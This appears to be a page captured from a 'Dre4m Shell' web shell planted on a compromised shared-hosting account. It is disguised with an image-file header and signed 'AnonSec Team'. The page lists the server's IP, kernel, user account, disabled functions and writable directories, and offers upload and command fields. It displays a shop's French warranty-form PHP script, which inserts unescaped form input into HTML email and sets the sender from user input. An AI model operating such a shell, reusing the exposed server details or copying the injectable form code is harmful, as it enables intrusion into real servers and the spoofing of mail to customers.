ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/garantie.php
<?php
/*
Module : Front-Office - Garantie +
Date : Juin 2015
Version Shop : V15.6
Auteur : Guillaume MADIOT - Computer 64
*/

//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//

// Chargement fichiers de configuration.
require('libs/Smarty.class.php');

// Démarrage du moteur TPL.
$smarty = new Smarty;

// Chargement des Fonctions Globals.
require('fonctions.php');

//****************************************************************************************//
//************************* Traitement Formulaire de Garantie ****************************//
//****************************************************************************************//

require('includes/phpmailer/class.phpmailer.php');

if($_POST['from']) 
{

	// Vérification si l'expéditeur est présent dans la base de données Newsletter
	$sql = $GLOBALS['bdd']->prepare('SELECT * FROM fe_mail_user WHERE email = :email');

	$sql->execute(array('email' => $_POST['email']));

	$result = $sql->fetch();
	
	// Si non présent, à l'ajoute.
	if($result['email'] !== $_POST['email'])
	{

		$unsubscribe_code = substr(md5(trim($_POST['name']).trim($_POST['email'])), 0, 7);
		$sql = $GLOBALS['bdd']->prepare('INSERT INTO fe_mail_user (insert_date, id_user, id_cat, name, email, unsubscribe_code, time_unsubscribe, ip_unsubscribe, status) VALUES (:insert_date, :id_user, :id_cat, :name, :email, :unsubscribe_code, :time_unsubscribe, :ip_unsubscribe, :status)');
		$sql->execute(array('insert_date' => time(),
							'id_user' => '3',
							'id_cat' => '3',
							'name' => '',
							'email' => $_POST['email'],
							'unsubscribe_code' => $unsubscribe_code, 
							'time_unsubscribe' => '0',
							'ip_unsubscribe' => '0', 
							'status' => '0'));

} else {  }

	$msg ='
		<div style="background-color: '.$fil.'; color:'.$tfil.'; border-radius: 6px;">
		<img src="templates/shop/img/logo_sidebar.png" style="margin:10px; float:right;">
		<h3 style="font-size:20px; padding:15px;">Demande d\'extension de garantie</h3>
	</div>
	<br />';

	$msg .= '<b>Nom pr&eacute;nom :</b> ' . $_POST['name'] . '<br><b>E-mail</b> : ' . $_POST['email'] . '<br>';
	$msg .= '<b>Références de vos produits :</b> ' . $_POST['product'] . '<br /><br />';
	$msg .= 'Nous avons bien enregistré votre extension de garantie pour vos produits <b>' . $_POST['product'] . '</b> selon les conditions mentionnées sur le certificat de garantie remis lors de votre achat.';
	$msg .= '<br />En cas de recours à la garantie, veuillez vous munir du certificat de garantie remis le jour de votre achat et d\'une copie de ce mail.';
	$msg .= '<p style="float:right; padding-top:10px;"><a href="http://'.$shop_url.'">'.$shop_title.'</a></p>';


	// Envoi message au client.
	$mail2 = new PHPMailer();
	$mail2->IsMail();
	$mail2->AddReplyTo($shop_email_contact, $shop_company);
	$mail2->AddAddress($_POST['email']);
	$mail2->SetFrom($shop_email_contact, $shop_company);
	$mail2->Subject = "Confirmation de votre demande d'extension de garantie " . $shop_title;
	$mail2->MsgHTML($msg);

	// Envoi message à l'administrateur du site.
	$mail = new PHPMailer();
	$mail->IsMail();
	$mail->AddReplyTo($_POST['email'], $_POST['name']);
	$mail->AddAddress($shop_email_contact);
	$mail->SetFrom($_POST['email'], $_POST['name']);
	$mail->Subject = "Demande d'extension de garantie " . $shop_title;

	$mail->MsgHTML($msg);

	if($mail->Send() & $mail2->Send())
	{
		$smarty->assign("contact_status", 'Votre demande d\'extension de garantie vient de vous être transmise !');
	}
}

//*************************************** Affichage **************************************//
  $smarty->display('garantie.tpl');
?>  

Anon7 - 2022
AnonSec Team